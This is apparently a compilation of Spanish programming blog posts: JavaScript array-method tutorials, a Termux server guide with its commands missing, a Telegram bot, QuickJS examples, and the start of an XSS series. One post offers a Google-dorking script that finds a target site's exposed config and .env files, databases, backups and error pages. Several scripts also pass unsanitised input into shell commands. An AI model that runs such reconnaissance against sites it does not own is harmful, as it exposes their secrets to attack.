Map, reduce y filter
A muchos programadores les cuesta entender o encontrar uso para el método

.map()

En este post vamos a programar el método, así podrás entender exactamente que es.

map
Para no ensuciar el array de javascript, vamos a crear una nueva versión del array extendiendo la clase.

class CustomArray extends Array {
  map() {
    return "metodo custom";                                              
  }
}

Ahora tenemos 2 clases array iguales. La de javascript y la nuestra. La nuestra es casi igual que la de javascript, solo cambia el método map.
Puedes comprobar que funciona con el siguiente código

class CustomArray extends Array {
  map() {
    return "metodo custom";
  }
}
 
let numeros = new CustomArray(1, 2, 3); // Crea un array custom
let numeros2 = [1, 2, 3]; // Crea un array normal
numeros.map( num => num + 1); // "metodo custom"
numeros2.map( num => num + 1); // 2, 3, 4 

En la primera llamada a map (nuestro método custom) no pasa nada especial porque nuestro método no tiene definido que acepte ningún parámetro, asique se ejecuta el método sin más ignorando los parámetros. En cambio en la segunda llamada a map (el .map() original de javascript) se toma la función como argumento y se le suma 1 a cada elemento del array.

Una función que se pasa por parámetro a otra función/método (con intención de que se ejecute dentro de la función llamada) se le conoce como callback.                                                               
Vamos a hacer que nuestro método acepte una función y la llame:

class CustomArray extends Array {
  map(callback) { // acepta un parametro cualquiera
    return callback("metodo custom"); // llamalo pasandole el texto como argumento
  }
}
 
let numeros = new CustomArray(1, 2, 3); // Crea un array custom
let numeros2 = new Array(1, 2, 3); // Crea un array normal
 
numeros.map( num => num + 1 ); // "metodo custom1"
numeros2.map( num => num + 1 ); // 2, 3, 4

Así añadimos el callback. Aceptamos que se pase una función como argumento de map, llamamos la función que se pasa usando nombreArgumento(); y le pasamos al argumento un argumento en la llamada tal que nombreArgumento("método custom");
Actualmente nuestro map solo añade 1 a nuestro texto, pero el objetivo es que sume 1 a todos los elementos del array. Para ello usaremos this para acceder al CustomArray y sus elementos:

class CustomArray extends Array {
  map(callback) {
    return callback(this);
  }
}
 
let numeros = new CustomArray(1, 2, 3);
let numeros2 = new Array(1, 2, 3);
 
numeros.map( num => num + 1 ); // "1, 2, 31"
numeros2.map( num => num + 1 ); // 2 , 3, 4

Al usar this como parámetro del callback accedemos al array y como no.se pueden sumar arrays y números, javascript opta por un tipo intermedio entre ambos que se pueda sumar, sumándose los strings "1, 2, 3" + "1". Lo que hace map es llamar a la función que le pasamos sobre cada elemento y nos retorna un array con los resultados. Asique acabamos el map con:

class CustomArray extends Array {
  map(callback) {
    for (let i = 0; i < this.length; ++i) {
      this[i] = callback(this[i])
    }
    return this;
  }
}
 
let numeros = new CustomArray(1, 2, 3);
let numeros2 = new Array(1, 2, 3);
 
numeros.map( num => num + 1 ); //2, 3, 4
numeros2.map( num => num + 1); //2, 3, 4

Ya conseguimos crear nuestra versión del método map. Map es un método de los arrays, por lo que no puedes usarlo con otras clases como String.
Puedes modificar el código para extender la clase String y añadirle el método map:

class CustomString extends String {
  map(callback) {
    let aux = "";
    for (let i = 0; i < this.length; ++i) {
      aux += callback(this[i])
    }
    return aux;
  }
 
}
 
const texto = new CustomString("hola");
 
texto.map(letra => letra + 1) // "h1o1l1a1"

Creo que queda claro que hace exactamente map. Aplica la funcion que le pasamos a cada elemento y nos retorna el resultado.
Es el mismo efecto que si hiciésemos:

let arr = [1, 2, 3];
let auxiliar = [];
const suma1 = argumento => argumento + 1;
 
auxiliar.push( suma1(arr[0]) );
auxiliar.push( suma1(arr[1]) );
auxiliar.push( suma1(arr[2]) );
 
console.log(auxiliar) // 2, 3, 4

reduce
El método reduce es prácticamente igual que map, pero en lugar de devolver todos los elementos devuelve solo el resultado de operar con ellos.

let numeros = [1, 2, 3];
numeros.reduce( (res, num) => res + num); // 6

El código también es muy similar al de map, trata de realizar tu propia implementación y jugar pásandole distintos parámetros. Recuerda que estos ejemplos son básicos. Los métodos map, reduce y similares son más completos que estas implementaciones, puedes consultar algunos polyfills para hacerte una idea más cercana a todo lo que hace cada método.

filter
Con filter en lugar de retornar el resultado, se retorna o no el elemento del array dependiendo de si la condición que indiques se cumple o no. Por ejemplo puedes filtrar los elementos de un array para obtener solo los números pares:

let numeros = [1, 2, 3];
numeros.filter( num => num % 2 == 0 ); // 2

Recuerda que se retorna un nuevo array, el original no es modificado.

Como hacer público un servidor web express sobre node en arch linux termux android sin root.

1 - Instalar termux.
Puedes instalar termux directamente desde la PlayStore https://play.google.com/store/apps/details?id=com.termux

Si tu dipositivo no tiene PlayStore puedes descargar Termux en el siguiente enlace https://apps.evozi.com/apk-downloader/?id=com.termux

2 - Configurar Termux
Abre la app, escribe el comando termux-setup-storage y dale enter.
Te recomiendo también instalar los siguientes paquetes que utilizo para facilitar la instalación:
                                                                                                                         
Y también instalar el repo pointless donde se da soporte a paquetes como mongodb que no están disponibles directamente en los repos de Termux.
                     

3 - Instalar Arch Linux usando proot                                  
Proot emula las carpetas y utiliza algunos trucos para poder instalar una distribución de Linux sin necesidad de rootear. Escribe el siguiente comando y dale enter.                                                
Aquí tienes más información si tienes curiosidad. https://wiki.termux.com/wiki/PRoot

4 - Añadir extensión a la Shell                                        
Nota: Este paso es totalmente prescindible. Es un programa que hice yo para manejar de forma más cómoda la shell y diferenciarla de otras. Vete al punto 5 si no te interesa.

Veras que cambia el mensaje de consola indicando que ya estás en Arch Linux [root@localhost]. El siguiente paso que voy a realizar es descargar una extensión para bash que trae atajos y otras utilidades. Este paso es opcional. Para instalar la extensión corre el comando:
Como utilizo este programa en distintos sistemas, incluyendo el propio termux, voy a modificar el archivo para que me muestre el nombre del sistema actual para el usuario root.
Corre el comando
Para que se abra el archivo a editar
Si ahora escribes /PS1 y presionas enter, se te movera el archivo a la parte del documento donde hay un código tal que:

Ahí voy a sustituir ${underlinegray} por ${darkblue}Arch Linux ${endc}
Si no sabes usar vim puedes borrar esa linea y pegar esto:

Para borrar la linea con vim posiciona el cursor encima del primer PS1=... y presiona dos veces la tecla d
Después manten pulsado el botón en el centro de la pantalla para que salga la opción de pegar.
El resultado tiene que quedar tal que:

Una vez está así escribe :x
Y presiona enter para guardar los cambios.
Te quedará el mensaje de consola tal que:

5 - Crear servidor con express y node.
Crea una carpeta para el servidor.
Crea el proyecto del servidor con el comando npm init
Rellena los datos que quieras. Yo solo he puesto archnode y presionado enter repetidamente.

Añade express al proyecto con el comando
Modifica el código del servidor remplazando stringmanoloarch.tk por tu dominio en el siguiente comando (si es un comando) antes de correrlo:

Crea también la carpeta desde la cual se serviran los archivos con el comando mkdir public y mete dentro una web de ejemplo tal que:

6 - Crea un dominio con freenom.
Ve a la web https://my.freenom.com/clientarea.php?action=domains registrate y crea un nuevo dominio.
Una vez loggeado dentro vete al apartado dominios https://my.freenom.com/domains.php e introduce ahí el nombre de dominio que quieras. Por ejemplo yo usaré stringmanoloarch.tk muchos nombres ya están siendo utilizados o no se pueden registrar gratuitamente, pero si poner tu nombre y una palabra por ejemplo, seguro que está disponible. Dale a chekout para confirmar la adquisición del nuevo dominio y en el menu desplegable donde dice 3 Months free cámbialo a 12 Months free. Marca la casilla para aceptar condiciones y términos y dale a Complete Order.
Ahora si vas al apartado https://my.freenom.com/clientarea.php?action=domains ahí tienes tu nuevo dominio para gestionarlo.

7 - Crear certificado.
Actualiza el sistema y los paquetes con el comando Di que sí a las opciones de remplazo que te pregunte escribiendo y
Instala certbot
Acepta la instalación escribiendo y

Genera un certificado manualmente con el comando Te pedira el dominio, pon el que registrate en freenom.
Es posible que te pida el correo, introduce tu correo.
Escribe y para aceptar los terminos de uso
Escribe n para no compartir tu email publicamente

Entonces te saldrá un mensaje diciendo que demuestres que tienes control sobre el dominio de freenom con un registro TXT.
Para ello haces lo siguiente:
Ve a https://my.freenom.com/clientarea.php?action=domain
Pincha en manage freenom dns.
Pincha en edit nameservers.
Selecciona use default nameservers y pulsa en change nameservers.
Vuelve otra vez a darle en manage nameservers y ahora podrás agregar registros DNS a los servidores de freenom.

En el primer apartado pon el nombre del registro que indica certbot. En mi caso es _acme-challenge.stringmanoloarch.t
En el segundo apartado selecciona TXT como tipo de registro.
El tercer apartado (3600) no hace falta que lo cambies.
En el cuarto y último, debes añadir la cadena de caracteres que indica el certbot, en mi caso algo tal que 0V8MBE1iGEcgljH3PIox8Od_XaI-7FvjJi-BkM3beJY

Dale a save changes.

Antes de darle a enter al certbot, espera unos segundos para que se haga el registro público.

Tras dar enter recibirás un mensaje tal que:


8 - Usando freenom como ddns.

Haz clone y make del siguiente script que renueva dominios y actualiza la ip dinámica

Edita el archivo freenom.conf y añade tu email y contraseña de la cuente de freenom

Una vez finalices corre el siguiente comando con tu dominio, en mi caso es:

Si vas a los registros de freenom podras comprobar que se generó un registro A para tu dominio.

Pon live tu servidor volviendo a la carpeta anterior con cd ../ y corriendo el comando:

Por defecto usa el puerto 8080 para http y 8443 para https.

Puedes pasar los puertos como argumentos del commando, por ejemplo.

Si tienes los puertos abiertos podrás ver la web en el puerto correspondiente y tu dominio, si usas https verás el candadito verde. En mi caso: https://stringmanoloarch.tk:8443/

Si los configuraste y no puedes ver la web, utiliza el comando nmap para comprabar si están abiertos o no:

9 - Apertura de puertos.
La forma de abrir puertos difiere entre routers o tipos de redes. Por lo cual no te puedo decir exactamente como debes hacerlo tu.
Si usas wifi: La forma usual de hacerlo es revisando la parte inferior del router donde vienen el usuario, contraseña y la dirección del panel de administración del router. Suelen ser http://192.168.0.1 o http://192.168.1.1
Una vez consigas acceder, dentro tendrás que buscar el apartado que te permita abrir los puertos. El apartado suele tener varias opciones. Puerto externo, Puerto interno, protocolo del puerto, dirección ip local...
El puerto externo es el puerto que deben poner los usuarios que quieran ver tu web. El navegador omite los puertos 80 y 443 para http y https en las urls, asique son esos los que probablemente te interese abrir. En el protocolo del puerto selecciona TCP si tienes la opción. En dirección ip te pide la dirección ip local del computador. Esta opción es para que el router sepa a que dispositivo de tu red enviar la conexión. Puedes buscarlo en el propio panel del router o usar el comando ipconfig para ver la dirección. Suele empezar por 192... Ponla, guarda los cambios y debería estar todo listo.

En caso de que uses datos móviles tienes 2 opciones. Preguntar a tu operador o buscar por internet si es posible (en tu compañía) abrir puertos con datos. O utilizar el programa ngrok.
Sigue los pasos de configuración del programa en su web, crea cuenta y añade el identificador que te dan en la web al ngrok. Depués solo tienes que correr el servidor web (dejarlo abierto) y correr el comando

Os traigo esta herramienta sencilla para buscar información en google.

Google puede detectar vuestra actividad como robots y no responder. En redes de casa suele funcionar.

Instalar:
  Necesitais tener quickjs y lynx instalados. Ocupan muy poco.
  Guardais el código como dorks.js y lo ejecutais con qjs dorks.js -t https://example.com -s

Está testeado que funciona en Linux y Termux.
No lo probé en windows pero es probable que también funcione.

import * as std from "std";
import * as os from "os";
 
let run = command => {
  let p = std.popen(command, "r"),
  msg = "", 
  r = "";
  while(( r = p.getline() ) != null) {
    msg += r + "\n";
  }
  return msg;
}                                                                                                                            
 
let cli = {};
cli.COLORS = {                                                    
  RED: "\x1b[31m",
  RESET: "\x1b[0m",
  YELLOW:"\x1b[33m",
  BLUE: "\x1b[34m",
  GREEN: "\x1b[32m"                                             
};
 
for (let i in scriptArgs) {
switch(scriptArgs[i]) {
    case "-b":                                                      
    case "--backup-files":
      cli.backupFiles = true;
    break;
 
    case "-c":
    case "--config-files":                                            
      cli.configFiles = true;
    break;
 
    case "-d":
    case "--directory-listing":
      cli.directoryListing = true;
    break;
 
    case "-e":
    case "--exposed-databases":
      cli.exposedDatabases = true;
    break;
 
    case "-g":
    case "--git":
      cli.git = true;
    break;
 
    case "-l":
    case "--log":
      cli.logFiles = true;
    break;
 
    case "-L":
    case "--login-urls":
      cli.loginUrls = true;
    break;
 
    case "-p":
    case "--public-documents":
      cli.publicDocuments = true;
    break;
 
    case "-P":
    case "--php-errors":
      cli.phpErrors = true;
    break;
 
    case "--php-info":
      cli.phpInfo = true;
    break;
 
    case "--pastes":
      cli.pastes = true;
    break;
 
    case "-s":
    case "--source":
      cli.source = true;
    break;
 
    case "-S":
    case "--sql-errors":
      cli.sqlErrors = true;
    break;
 
    case "--stackoverflow":
      cli.stackoverflow = true;
    break;
 
    case "-t":
    case "--target":
      cli.target = encodeURIComponent(scriptArgs[+i + +1]);
    break;
 
    case "-v":
    case "--view":
      cli.view = true;
    break;
 
    case "-h":
    case "--help":
      console.log(`
 
usage: qjs dorks [options]
  -b  --backup-files         .bkf, .bkp, .bak, .old, .backup
 
  -c  --config-files         .xml, .conf, .cnf, .reg, .inf, .rdp, .cfg, .txt, .ora, .ini, .env
 
  -d  --directory-listing    index of dir list
 
  -e  --exposed-databases    .sql, .dbf, .mdb
 
  -g  --git                  github.com, gitlab.com
 
  -h  --help                 this message
 
  -l  --log                  .log
 
  -L  --login-urls           login in url
 
  -p  --public-documents     .doc, .docx, .odt, .rtf, .sxw, .psw, .ppt, .pptx, .pps, .csv
 
  -P  --php-errors           .php errors in document
 
      --pastes               pastebin.com, paste2.org, pastehtml.com, slexy.org, snipplr.com, snipt.net, textsnip.com, bitpaste.app, justpaste.it, heypasteit.com, hastebin.com, dpaste.org, dpaste.com, codepad.org, jsitor.com, codepen.io, jsfiddle.net, dotnetfiddle.net, phpfiddle.org, ide.geeksforgeeks.org, repl.it, ideone.com, paste.debian.net, paste.org, paste.org.ru, codebeautify.org, codeshare.io, trello.com
 
      --php-info             .php info files
 
  -s  --source               source code of target
 
  -S  --sql-errors           sql syntax errors in document
 
      --stackoverflow        stackoverflow.com
 
  -t  --target               Your target. Can be a domain, a full url, etc. Based on the arguments of your chose.
 
  -v  --view                 text representation of the target.
 
 
`);
  std.exit(0);
  }
}
 
let checkResults = res => {
  /* Check if connection error */
 
  /* Check if captcha */
    /* Use good proxy chain list to evade captcha */
    /* Instruct user to evade if dynamic ip */
 
  /* Check if not found */
  if (new RegExp("ningún resultado. Sugerencias: ", "gim").test(res.replace(/\n/gm, " "))) {
    throw `${cli.COLORS.GREEN}Everything fine but nothing found.${cli.COLORS.RESET}`
  } else {
    console.log(res);
  }
 
  /* check if more than one page of results */
}
 
if (!cli.target) {
  throw `Missing target.
  write ${cli.COLORS.RED}qjs dorks --help${cli.COLORS.RESET} to show usage.
  `;
}
 
if (cli.backupFiles) {
  checkResults(run(`lynx --dump 'https://www.google.com/search?q=site:${cli.target}+ext:bkf+|+ext:bkp+|+ext:bak+|+ext:old+|+ext:backup'`));
}
 
else if (cli.configFiles) {
  checkResults(run(`lynx --dump 'https://www.google.com/search?q=site:${cli.target}+ext:xml+|+ext:conf+|+ext:cnf+|+ext:reg+|+ext:inf+|+ext:rdp+|+ext:cfg+|+ext:txt+|+ext:ora+|+ext:ini+|+ext:env'`));
}
 
else if (cli.directoryListing) {
  checkResults(run(`lynx --dump 'https://www.google.com/search?q=site:${cli.target}+intitle:index.of'`));
} else if (cli.exposedDatabases) {
  checkResults(run(`lynx --dump 'https://www.google.com/search?q=site:${cli.target}+ext:sql+|+ext:dbf+|+ext:mdb'`));
}
 
else if (cli.exposedDatabases) {
  checkResults(run(`lynx --dump 'https://www.google.com/search?q=site:${cli.target}+intext:'"'"'sql syntax near'"'"'+|+intext:'"'"'syntax error has occurred'"'"'+|+intext:'"'"'incorrect syntax near'"'"'+|+intext:'"'"'unexpected end of SQL command'"'"'+|+intext:'"'"'Warning: mysql_connect()'"'"'+|+intext:'"'"'Warning: mysql_query()'"'"'+|+intext:'"'"'Warning: pg_connect()'"'"''`));
}
 
else if (cli.git) {
  checkResults(run(`lynx --dump 'https://www.google.com/search?q="${cli.target}"+site:github.com+|+site:gitlab.com'`));
}
 
else if (cli.logFiles) {
  checkResults(run(`lynx --dump 'https://www.google.com/search?q=site:${cli.target}+ext:log'`));
}
 
else if (cli.loginUrls) {
  checkResults(run(`lynx --dump 'https://www.google.com/search?q=site:${cli.target}+inurl:login+|+inurl:ingresar'`));
}
 
else if (cli.publicDocuments) {
  checkResults(run(`lynx --dump 'https://www.google.com/search?q=site:${cli.target}+ext:doc+|+ext:docx+|+ext:odt+|+ext:rtf+|+ext:sxw+|+ext:psw+|+ext:ppt+|+ext:pptx+|+ext:pps+|+ext:csv'`));
}
 
else if (cli.pastes) {
  checkResults(run(`lynx --dump 'https://www.google.com/search?q=${cli.target}+site:pastebin.com+|+site:paste2.org+|+site:pastehtml.com+|+site:slexy.org+|+site:snipplr.com+|+site:snipt.net+|+site:textsnip.com+|+site:bitpaste.app+|+site:justpaste.it+|+site:heypasteit.com+|+site:hastebin.com+|+site:dpaste.org+|+site:dpaste.com+|+site:codepad.org+|+site:jsitor.com+|+site:codepen.io+|+site:jsfiddle.net+|+site:dotnetfiddle.net+|+site:phpfiddle.org+|+site:ide.geeksforgeeks.org+|+site:repl.it+|+site:ideone.com+|+site:paste.debian.net+|+site:paste.org+|+site:paste.org.ru+|+site:codebeautify.org +|+site:codeshare.io+|+site:trello.com'`));
}
 
else if (cli.phpErrors) {
  checkResults(run(`lynx --dump 'https://www.google.com/search?q=site:${cli.target}+'"'"'PHP Parse error'"'"'+|+'"'"'PHP Warning'"'"'+|+'"'"'PHP Error'"'"''`));
}
 
else if (cli.phpInfo) {
  checkResults(run(`lynx --dump 'https://www.google.com/search?q=site:${cli.target}+ext:php+intitle:phpinfo+'"'"'published by the PHP Group'"'"''`));
}
 
else if (cli.source) {
  console.log(run(`lynx --source ${decodeURIComponent(cli.target)}`));
}
 
else if (cli.sqlErrors) {
  checkResults(run(`lynx --dump 'https://www.google.com/search?q=site:${cli.target}+intext:'"'"'sql syntax near'"'"'+|+intext:'"'"'syntax error has occurred'"'"'+|+intext:'"'"'incorrect syntax near'"'"'+|+intext:'"'"'unexpected end of SQL command'"'"'+|+intext:'"'"'Warning: mysql_connect()'"'"'+|+intext:'"'"'Warning: mysql_query()'"'"'+|+intext:'"'"'Warning: pg_connect()'"'"''`));
}
 
else if (cli.stackoverflow) {
  checkResults(run(`lynx --dump 'https://www.google.com/search?q=${cli.target}+site:stackoverflow.com'`));
}
 
else if (cli.view) {
  console.log(run(`lynx --dump '${decodeURIComponent(cli.target)}'`));
}
 
else {
  throw `Missing argument. You need at least 1 argument more.
  write ${cli.COLORS.RED}qjs dorks --help${cli.COLORS.RESET} to show usage.
 
  `;
}

Podeis añadirle vuestros dorks al código siguiente el patrón.

Me apetecía programar una IA en javascript y necesitaba alguna forma de pasarle input, asique decidí hacer un bot de telegram.
Como ya van varios bots que hago, alguno salió algo buggeado y posiblemente en el futuro haga otros parecidos, decidí hacer un bot/nucleo a partir del cual pueda escribir cualquier bot.

Asique este bot tiene lo básico y mínimo indispensable que se puede necesitar para un bot. Le metí varios argumentos cli básicos para configurar el bot, meterle el token y ver su uso.
También le metí que responda al telegram a unos pocos comandos de ejemplo.

De momento no encontré ningún bug. Si encuentro alguno o meto algún cambio interesante o importante, lo añadiré aquí.

import * as std from "std";
import * as os from "os";
 
let run = command => {
  let p = std.popen(command, "r"),
  msg = "",
  r = "";
 
  while(( r = p.getline() ) != null) {
    msg += r + "\n";
  }
  return msg;
}
 
let cli = {};
cli.COLORS = {
  RED: "\x1b[31m",
  RESET: "\x1b[0m",
  YELLOW:"\x1b[33m",
  BLUE: "\x1b[34m",
  GREEN: "\x1b[32m"
};
 
for (let i in scriptArgs) {
  switch(scriptArgs[i]) {
    case "-t":
    case "--token":
      cli.token = scriptArgs[+i + +1];
    break;
 
    case "-s":
    case "--save":
      let fd = std.open(".token", "w");
      fd.puts(cli.token);
      fd.close();
    break;
 
    case "-l":
    case "--load":
      cli.token = std.loadFile(".token");
    break;
 
    case "-h":
    case "--help":
      throw `
 
usage: qjs tgbot.js [options]
  -t  --token            Telegram Bot Api Token. https://t.me/BotFather
  -s  --save             Save the token internally to start the bot in the future without manually provide the token each time.
  -l  --load             Use the saved token to start the bot.
  -h  --help             This message.
  -v  --verbose          Show basic feedback to the command line interface.
  -w  --wait             Bot delay in seconds. (Can process multiple messages at once, so you don't need a really low number to don't fallback).
 
Examples:
qjs tgbot.js -t 192829292:iqidkwiexampleunvalidtokeniwjwusjwis -s -v
 
qjs tgbot.js -l -v
 
qjsc -o ctgbot tgbot.js && cp tgbot ~/../usr/bin/
tgbot -l -w 2 -v
 
`;
 
    case "-v":
    case "--verbose":
      cli.v = true;;
    break;
 
    case "-w":
    case "--wait":
      cli.wait = scriptArgs[+i + +1];
    break;
  }
}
 
 
if (!cli.token) {
  throw `${cli.COLORS.RED}No has introducido tu token de telegram.${cli.COLORS.RESET}
 
Si aún no pusiste tu token.
Inicia con: qjs tgbot.js -t 183828181:kqnsiwnskwkziqnsoqnsiqn -s
 
Si ya introduciste tu token.
Inicia con: qjs tgbot.js -l
 
Si aún no tienes un token.
Visita ${cli.COLORS.BLUE}https://t.me/BotFather${cli.COLORS.RESET} y escríbele /newBot
 
 
ESCRIBE ${cli.COLORS.YELLOW}qjs tgbot.js -h${cli.COLORS.RESET} PARA OBTENER LISTA DE COMANDOS.`;
}
 
let bot = () => {
let api = run(`curl https://api.telegram.org/bot${cli.token}/getUpdates --silent`);
 
let apiJson = JSON.parse(api);
 
if (apiJson.ok !== true) {
  throw `Telegram Api Returning An Error:
${api}`;
}
 
if (!apiJson.result) {
  throw `No results to parse:
${api}`;
}
 
let process = (text, username, chatId) => {
  let response = "";
 
 
  if (text.substr(0,1) == "/") {
    let recv = text.substring(1).toLowerCase();
    switch(recv) {
      case "start":
        response = "Comandos Disponibles:\n/Placeholder1 Haz esto\n/Placeholder2 Haz Aquello\n";
      break;
 
      case "hola":
        response = `Hola ${username} soy un bot escrito en javascript por @StringManolo.`;
      break;
 
      case "adios":
      case "chao":
        response = `Un placer ${username}! Qué vaya bien.`;
      break;
 
      default:
        response = `No se que significa ${recv}...`;
    }
 
  }
 
  if (response) {
    cli.v && console.log(`Respuesta: ${response}\n`);
    let aux = `https://api.telegram.org/bot${cli.token}/sendMessage?chat_id=${chatId}&text=${encodeURIComponent(response)}`;
    run(`curl "${aux}" --silent`);
  }
}
 
 
let lastId = 0;
for (let i in apiJson.result) {
  if (apiJson.result[i].message &&
  apiJson.result[i].message.text &&
  apiJson.result[i].update_id &&
  apiJson.result[i].message.from.username &&
  apiJson.result[i].message.chat.id) {
    let text = apiJson.result[i].message.text;
    let updateId = apiJson.result[i].update_id;
    let username = apiJson.result[i].message.from.username;
    let chatId = apiJson.result[i].message.chat.id;
    lastId = updateId;
    process(text, username, chatId);
  }
}
 
let borrarMensajesApi = () => {
  run(`curl https://api.telegram.org/bot${cli.token}/getUpdates?offset=${+lastId + 1} --silent`);
}
 
borrarMensajesApi();
cli.v && console.log("Bot process end");
}
 
let i = 0;
for (;;) {
  cli.v && console.log(`Running bot for the ${++i}° time.`);
  bot();
  cli.v && console.log(`Waiting ${(cli.wait || 20)} seconds to save resources.`);
  os.sleep( (cli.wait || 20) * 1000);
}

Tutorial básico de quickjs.

Qué es:
Quickjs es un entorno de ejecución (motor) de javascript que cumple en gran medida con el estandar de javascript.

Sirve para interpretar, ejecutar o compilar codigo javascript.


Cómo se compara a Node.js y a Chrome:
Quickjs es mucho más pequeño que node o v8. Se ejecuta de forma rápida sin esperar al cargar scripts y ocupa poco espacio, lo que lo hace ideal para crear pequeños scripts y utilidades para la consola de comandos de Linux, Windows o Termux.
                                                     
Como se instala:
Puedes descargarlo de su página oficial, de github y compilarlo o utilizando apt-get install quickjs


A parte del javascript estandar que más trae:
Trae 2 librerías preinstaladas que podemos importar. std y os.
La librería std trae varias funciones del lenguaje de C y la librería os trae hilos, funciones para abrir procesos, y varias utilidades.


Al lio:
holaMundo.js

console.log("Hola mundo");

Puedes ejecutarlo con el comando qjs holaMundo.js
También puedes compilarlo con qjsc -o holaMundo holaMundo.js


correrCualquierComando.js

import * as std from "std";
let run = comando => {
  let prog = std.popen(comando, "r");
  let r, msg = "";
  while ((r = prog.getline()) != null) {
    msg += r + "\n";
  }
  return msg;
}
 
console.log( run("ls") );
console.log( run("ls && pwd") );

generadorDeArchivos.js

import * as std from "std";
console.log(`Generador de archivos 2021
 
Genera el esqueleto de archivos para no tener que escribir a mano partes recurrentes de archivos comunes.
 
 
 1. Proyecto HTML
 2. Reporte de Seguridad
 
Selecciona el número correspondiente a la opción que deseas.`);
 
let opcionUsuario = +std.in.getline();
 
if (opcionUsuario === 1) {
  let fd = std.open("index.html", "w");
  fd.puts(`<!DOCTYPE html>
<html lang="en">
  <head prefix="og:http://ogp.me/ns#">
    <meta charset="utf-8">
    <link rel="icon" href="data:;base64,iVBORw0KGgo=">
    <title>Index.html</title>
    <!--
      <meta property="og:type" content="website">
    -->
    <link rel="stylesheet" href="./code.css">
    <meta name="theme-color" content="#ffffff">
  </head>
 
  <body>
 
 
    <script src="./main.js"></script>
  </body>
</html>`);
  fd.close();
 
  fd = std.open("main.js", "w");
  fd.close();
 
  fd = std.open("code.css", "w");
  fd.puts(`body {
  margin: 0 0 0 0; /* Remove ugly left side border */
  text-size-adjust: none; /* Fix Android Big Text */
  text-rendering: optimizeLegibility; /* Improve text */
}
 
  /* Media query */
  @media (min-width: 0px) and (orientation:landscape) {
  body {
    font-size: 1.1vw;
  }
}`);
  fd.close();
} else if (opcionUsuario === 2) {
  console.log("Esta opción se programará en el futuro");
}

scraper.js

import * as std from "std";
 
let run = comando => {
  let prog = std.popen(comando, "r");
  let r, msg = "";
  while ((r = prog.getline()) != null) {
    msg += r + "\n";
  }
  return msg;
}
 
let getTargetAndSelector = () => {
  let returnValues = {};
  for(let i in scriptArgs) {
    if (scriptArgs[i] == "-t" || scriptArgs[i] == "--target") {
      returnValues.target = scriptArgs[+i+1];
    } else if (scriptArgs[i] == "-s" || scriptArgs[i] == "--selector") {
      returnValues.selector = scriptArgs[+i+1];
    }
  }
  if (returnValues.target && returnValues.selector) {
    return [returnValues.target, returnValues.selector];
  } else {
    throw `Usage:
-t  --target  Url to download
-s  --selector Selector to use
 
Example: qjs scraper.js -t https://example.com -s h1`;
  }
}
 
 
let result = run(`curl ${getTargetAndSelector()[0]} -A "Mozilla/5.0" --silent | pup ${getTargetAndSelector()[1]}`);
console.log(result);

Puedes compilarlos y meterlos en bin y darle permisos para usarlos como cualquier otro comando sin necesidad de estar en la misma carpeta que el código.
qjsc -o scraper scraper.js && cp scraper ~/../usr/bin/ && chmod +775 ~/../usr/bin/scraper
scraper -t https://example.com -s a



Documentación Official Quickjs: https://bellard.org/quickjs/quickjs.html


Documentación Herramienta Pup para usar selectores en la linea de comandos: https://github.com/ericchiang/pup

Me surge un problema raro. A ver si teneis idea.

Tengo una función que cachea todos los archivos de la web.

Le añadí un parámetro TTL (Time To Live) para poder indicarle cuando tiempo se quiere que el caché esté activo.

Lo que hago es guardar la fecha (en localStorage)  actual en segundos y sumarle el TTL.

Entonces comparo la fecha actual con la fecha guardada en localStorage para saber si el caché expiró.

El problema surge que una vez que cacheo en el navegador los archivos de la web, la comprobación no se ejecuta. De ejecutarse, se vería que ya pasó el tiempo indicado en TTL en milisegundos (le puse 100000 que equivale a minuto y medio). Y al pasar ese tiempo el código borra el cache y resetea el localStorage para que en la siguiente carga se vuelve a cachear todo de nuevo. (Mi intención es que el caché se renueve tras el tiempo pasado por si existen nuevos cambios.)

Está aquí live:
https://fastframework.stringmanolo.ga/dev/index.html

A ver si teneis idea. Una vez cacheado no muestra el mensaje.

Aquí se hace la llamada con el nombre del ServiceWorker y el tiempo que quiero cachear en segundos:
https://github.com/StringManolo/ff/blob/master/dev/main.js#L205

Nada más ejecutarse la llamada debería correr el alert en esta línea:
https://github.com/StringManolo/ff/blob/master/dev/ff.js#L46
Pero no salta el alert una vez cacheada la web.

Resumiendo: Tras la segunda vez que cargas la web debería mostrar el alert que está en las primeras lineas de main.js y no lo muestra. Pero si funciona la web. Wtf?
Si es culpa de los service workers(diría que no porque corren en otro hilo, no en el mismo que el main.js) probé también comentando todos los alerts y sigue sin ir.

Tengo un script en main.js que funciona sin cachear la web, pero con la web cacheada no me funciona el script que comprueba si ya pasó el tiempo que debería estar en caché (y por tanto borrarla)

Asique el problema que tengo es que no puedo borrar el caché del navegador desde la última linea de código de main.js que llamada a iniciar el caché.
En ff.js es cuando debería eliminarse el caché y poner localStorage.cacheTTL = 0; pero este script no va y ni idea de porque no.


SOLUCIÓN: Borrar "bien" el caché del navegador, localStorage y quitar del registro el ServoceWorker.

Habilitar CORS para que se puedan fechear los archivos a cachear en el propio dominio.

Security Series por StringManolo.

CAPITULO 1: XSS.

0. Previo:
Cross Site Scripting consiste en la inyección de código javascript en una página web para vulnerar su seguridad. En estas series pretendo mostrar varias formas de explotación de fallos de seguridad, a buscarlos, redactar reportes, construir pruebas de concepto y sobre todo que todos podamos aprender algo nuevo.

   • Para aprovechar el primer capítulo de estas series debes tener conocimientos básicos-intermedios de las tecnologías web básicas.
     Como mínimo HTML, javascript y el protocolo HTTP.
     Altamente recomendado tener nociones de DNS y servidores web...
     Si no tienes la mayoría de conocimientos citados pero estás interesado en adquirirlos te recomiendo:
     Buscar y preguntar por el foro.
     Los cursos/tutoriales de w3schools sobre html, javascript y php.
     Montarte un LAMP para subir tu web, hacerla pública y capturar las peticiones http. Jugar con ellas, mirarte un poco el tema...

   • No quiero limitarme a cosas básicas, pero tampoco entrar de golpe con cosas complejas. Si eres un usuario avanzado te recomiendo echar un ojo y enganchar con las cosas que no conozcas.

   • El nivel general de este capítulo es básico-intermedio.

   • Se recomienda el uso de Google Chrome última versión (no es estrictamente necesario) .

   • Se recomienda tener un servidor propio para experimentar. (Tampoco es estrictamente necesario) .

   • Estas series se dividen en Capítulos y Secciones. Todas son independientes pero secciones avanzadas seguramente hagan referencia a conceptos explicados anteriormente.

   • La páginas vulnerables que comiencen por el dominio https://stringmanolo.ga/xssSeries/ las hice yo y teneis permiso para atacarlas directamente y probar lo que querais a mano. Tampoco deberíais tener ningún problema por utilizar scanneres y herramientas similares. Si teneis dudas sobre esto, también es posible descargarse los retos para probarlos en local, ya que están subidos a github.



1. Qué es el XSS?
